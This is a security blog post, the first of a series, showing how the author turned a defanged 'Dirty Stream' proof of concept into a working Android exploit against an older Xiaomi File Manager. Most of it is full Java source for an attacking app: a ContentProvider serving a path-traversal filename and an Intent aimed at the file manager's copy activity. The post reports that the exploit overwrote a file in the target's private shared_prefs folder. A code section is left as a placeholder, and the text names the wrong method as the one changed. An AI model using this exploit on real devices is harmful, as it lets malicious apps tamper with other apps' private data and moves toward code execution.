Dirty Stream: Exploiting Android's File Sharing - Part 1

Dirty Stream: Exploiting Android’s File Sharing - Part 1

“Dirty Stream”. This attack, detailed by Microsoft’s Threat Intelligence team, highlights a common vulnerability pattern related to improper handling of file sharing via ContentProviders. I’d like to thank Ch0pin for his excellent articles, presentations, and research on Android security, and to cyb3r-w0lf and LLeavesG for their initial PoC skeletons.

This blog post, the first in a series, will walk you through my journey of understanding and exploiting this vulnerability. We’ll start with a “defanged” proof-of-concept (PoC), debug it, and get it working, demonstrating the core principles behind the Dirty Stream attack. In later posts, we’ll explore advanced exploitation techniques and discuss robust mitigation strategies to help secure vulnerable applications.

What is the Dirty Stream Attack?

The Dirty Stream attack, as documented by Microsoft, exploits path traversal vulnerabilities in Android applications. It targets apps that insecurely handle file sharing through ContentProvider. The attack allows a malicious app to overwrite files in the private data directory of a vulnerable (target) application. This can lead to several severe consequences, including:

  • Arbitrary Code Execution (ACE): Overwriting shared libraries (.so files) to potentially gain control over app execution.
  • Data Modification: Altering application preferences or databases to change app behavior.
  • Denial of Service: Corrupting critical files, which may cause application crashes or unexpected behavior.

The vulnerability arises from the way the target app requests and uses filenames from the attacking app’s ContentProvider without proper sanitization, allowing for dangerous path traversal.

A Quick Look at the Vulnerable Code

<Placeholder with code examples>

The Starting Point: A Defanged PoC

I began by exploring existing PoC code available on GitHub:

My initial goal was to understand how the exploit worked. The original PoC by cyb3r-w0lf was “defanged” – it wouldn’t actually write to the target’s directory.

Here is a working PoC that will be discussed in the blog post:

The Test Environment

To safely test the exploit, I used the following setup:

  • Development Environment: Android Studio
  • Deployment Tool: adb (Android Debug Bridge)
  • Target Device: A rooted Google Pixel 3 running Android 15.0.0 (via Corellium)
  • Vulnerable App: An older version (V1-210567) of Xiaomi Inc.’s File Manager, which is known to be vulnerable.

Step 1: Understanding the Original PoC

The original PoC consists of three main Java files:

  1. DatabaseHelper.java:
    This class extends SQLiteOpenHelper and sets up a SQLite database. It defines a table named exploitTable with columns size, display_name, and _data. The insertExploitData method inserts a row containing the malicious path (using directory traversal) and placeholder data. Note that the vulnerable app expects the _data and _size columns.
    package com.fileexplorer.exploit;

    import android.content.Context;
    import android.database.sqlite.SQLiteDatabase;
    import android.database.sqlite.SQLiteOpenHelper;
    import android.util.Log;

    public class DatabaseHelper extends SQLiteOpenHelper {
        private static final String DATABASE_NAME = "exploitDB";
        private static final int DATABASE_VERSION = 1;

        public DatabaseHelper(Context context) {
            super(context, DATABASE_NAME, null, DATABASE_VERSION);
        }

        @Override
        public void onCreate(SQLiteDatabase db) {
            db.execSQL("CREATE TABLE IF NOT EXISTS exploitTable (size INTEGER, display_name TEXT, _data TEXT);");
        }

        @Override
        public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
            db.execSQL("DROP TABLE IF EXISTS exploitTable");
            onCreate(db);
        }

        public void insertExploitData() {
            SQLiteDatabase db = this.getWritableDatabase();
            db.execSQL("INSERT INTO exploitTable (size, display_name, _data) VALUES (12345, '../../../../../../../../../../data/data/com.mi.android.globalFileexplorer/shared_prefs/pwned.txt', 'exploit_data');");
            Log.d("DatabaseHelper", "Inserted exploit data");
        }
    }
  1. MainActivity.java:
    The main activity sets up a button that, when clicked, triggers the exploit. It copies a file (pwned.txt) to the app’s internal storage, inserts the malicious data into the database, and constructs an Intent targeting the vulnerable activity in Xiaomi File Manager.
    package com.fileexplorer.exploit;

    import android.content.ComponentName;
    import android.content.Intent;
    import android.net.Uri;
    import android.os.Bundle;

    import androidx.appcompat.app.AppCompatActivity;

    import android.util.Log;
    import android.widget.Button;

    import java.io.File;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.InputStream;

    public class MainActivity extends AppCompatActivity {

        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);

            Button button = findViewById(R.id.exploit);
            button.setOnClickListener(view -> setupDatabaseAndIntent());
        }

        private void setupDatabaseAndIntent() {
            copyFileToInternalStorage();

            DatabaseHelper dbHelper = new DatabaseHelper(this);
            dbHelper.insertExploitData();

            Uri uri = Uri.parse("content://com.fileexplorer.exploit/pwned.txt");
            Intent intent = new Intent();
            intent.setComponent(new ComponentName("com.mi.android.globalFileexplorer", "com.android.fileexplorer.activity.CopyFileActivity"));
            intent.putExtra("from_private", true);
            intent.putExtra("inner_call", true);
            intent.putExtra("explorer_path", "content://com.fileexplorer.exploit/pwned.txt");
            intent.setData(uri);
            intent.setAction(Intent.ACTION_SEND);
            startActivity(intent);
        }

        private void copyFileToInternalStorage() {
            try {
                InputStream inputStream = getAssets().open("pwned.txt");
                File outFile = new File(getFilesDir(), "pwned.txt");
                FileOutputStream outputStream = new FileOutputStream(outFile);

                byte[] buffer = new byte[1024];
                int length;
                while ((length = inputStream.read(buffer)) > 0) {
                    outputStream.write(buffer, 0, length);
                }

                outputStream.close();
                inputStream.close();
            } catch (IOException e) {
                Log.e("MainActivity", "Error copying file to internal storage", e);
            }
        }
    }
  1. MyContentProvider.java:
    This class extends ContentProvider. The key method, openFile, is designed to serve the file requested via a content URI. The original defanged version simply returns the local pwned.txt file, while the critical query method, which should provide the malicious file path, originally returned null. I skipped over this detail at first glance.
package com.fileexplorer.exploit;

import android.content.ContentProvider;
import android.content.ContentValues;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import android.util.Log;

import java.io.File;
import java.io.FileNotFoundException;

public class MyContentProvider extends ContentProvider {
    private DatabaseHelper dbHelper;

    @Override
    public boolean onCreate() {
        dbHelper = new DatabaseHelper(getContext());
        return true;
    }

    @Override
    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
        File file = new File(getContext().getFilesDir(), "pwned.txt");
        Log.d("MyContentProvider", "File path: " + file.getAbsolutePath());
        if (!file.exists()) {
            throw new FileNotFoundException("File not found: " + file.getAbsolutePath());
        }
        return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
    }

    @Override
    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
        return null;
    }

    @Override
    public String getType(Uri uri) {
        return null;
    }

    @Override
    public Uri insert(Uri uri, ContentValues values) {
        return null;
    }

    @Override
    public int delete(Uri uri, String selection, String[] selectionArgs) {
        return 0;
    }

    @Override
    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
        return 0;
    }
}

Step 2: Dynamic Testing of PoC

After building and installing the APK on a Corellium virtual device, I launched the app and clicked the “Exploit” button. Initially, with the original code, no changes occurred.

Defanged Attempt GIF

Step 3: Debugging and Logging

To better understand the behavior of each component, I added extensive logging using Log.d(). This allowed me to monitor method calls and inspect the values being processed. Such visibility is crucial in debugging security exploits and verifying each stage of the attack chain. An example with MainActivity.java is shown here, with the use of a TAG for Logcat and Log.d().

package com.fileexplorer.exploit;

import android.content.ComponentName;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;

import androidx.appcompat.app.AppCompatActivity;

import android.util.Log;
import android.widget.Button;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;

public class MainActivity extends AppCompatActivity {

    private static final String TAG = "MainActivity"; // Tag for Logcat

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Log.d(TAG, "onCreate called"); // Log activity creation
        setContentView(R.layout.activity_main);

        Button button = findViewById(R.id.exploit);
        button.setOnClickListener(view -> {
            Log.d(TAG, "Exploit button clicked"); // Log button click
            setupDatabaseAndIntent();
        });
    }



    private void setupDatabaseAndIntent() {
        Log.d(TAG, "setupDatabaseAndIntent called"); // Log method entry

        copyFileToInternalStorage();

        DatabaseHelper dbHelper = new DatabaseHelper(this);
        dbHelper.insertExploitData();

        Uri uri = Uri.parse("content://com.fileexplorer.exploit/pwned.txt");
        Log.d(TAG, "URI parsed: " + uri.toString()); // Log the parsed URI

        Intent intent = new Intent();
        intent.setComponent(new ComponentName("com.mi.android.globalFileexplorer", "com.android.fileexplorer.activity.CopyFileActivity"));
        Log.d(TAG, "Intent component set: " + intent.getComponent().toString()); // Log the component

        intent.putExtra("from_private", true);
        intent.putExtra("inner_call", true);
        intent.putExtra("explorer_path", "content://com.fileexplorer.exploit/pwned.txt");
        Log.d(TAG, "Intent extras set"); //log that extras have been set.

        intent.setData(uri);
        intent.setAction(Intent.ACTION_SEND);
        Log.d(TAG, "Intent action and data set"); //Log that action and data are set

        try {
            startActivity(intent);
            Log.d(TAG, "Intent started successfully"); // Log successful intent start
        } catch (Exception e) {
            Log.e(TAG, "Failed to start activity: " + e.getMessage(), e); // Log any exceptions
        }
    }

    private void copyFileToInternalStorage() {
        Log.d(TAG, "copyFileToInternalStorage called"); // Log method entry
        try {
            InputStream inputStream = getAssets().open("pwned.txt"); //get from assets directory
            Log.d(TAG, "Input stream opened from assets");
            File outFile = new File(getFilesDir(), "pwned.txt");
            Log.d(TAG, "Output file path: " + outFile.getAbsolutePath()); // Log the output file path
            FileOutputStream outputStream = new FileOutputStream(outFile);

            byte[] buffer = new byte[1024];
            int length;
            while ((length = inputStream.read(buffer)) > 0) {
                outputStream.write(buffer, 0, length);
            }

            outputStream.close();
            inputStream.close();
            Log.d(TAG, "File copied to internal storage successfully"); // Log successful file copy
        } catch (IOException e) {
            Log.e(TAG, "Error copying file to internal storage", e); // Log any exceptions
        }
    }
}

Step 4: Modification of the PoC

There was one crucial detail that I skipped over, which is that the this portion of the code overrides the insert method of a ContentProvider to do nothing and return null, indicating that the provider wasn’t even sending any data, and therefore not sending our directory traversal payload.

    @Override
    public Uri insert(Uri uri, ContentValues values) {
        Log.d(TAG, "insert called (not implemented)"); // Log unimplemented methods
        return null;
    }

This was modified like so:

    @Override
    public Cursor query(Uri uri, String[] projection, String selection,
                        String[] selectionArgs, String sortOrder) {
        SQLiteDatabase db = dbHelper.getReadableDatabase();
        // Return the malicious path from the row you inserted
        return db.rawQuery(
                "SELECT display_name AS _display_name, _data, size AS _size FROM exploitTable LIMIT 1",
                null
        );
    }

Once the query method was fixed to return the malicious file path through the _display_name column, the exploit successfully wrote pwned.txt to the target directory (/data/data/com.mi.android.globalFileexplorer/shared_prefs/).

Fanged Attempt GIF

Console GIF

Step 5: Conclusion and Next Steps

This post has detailed a small journey from exploring a defanged PoC to refining it into a working exploit. The objective is not only to understand the vulnerability but also to inform developers and security professionals on how to better safeguard their applications.

In future posts, we will target more sensitive files and achieve code execution!

Stay tuned!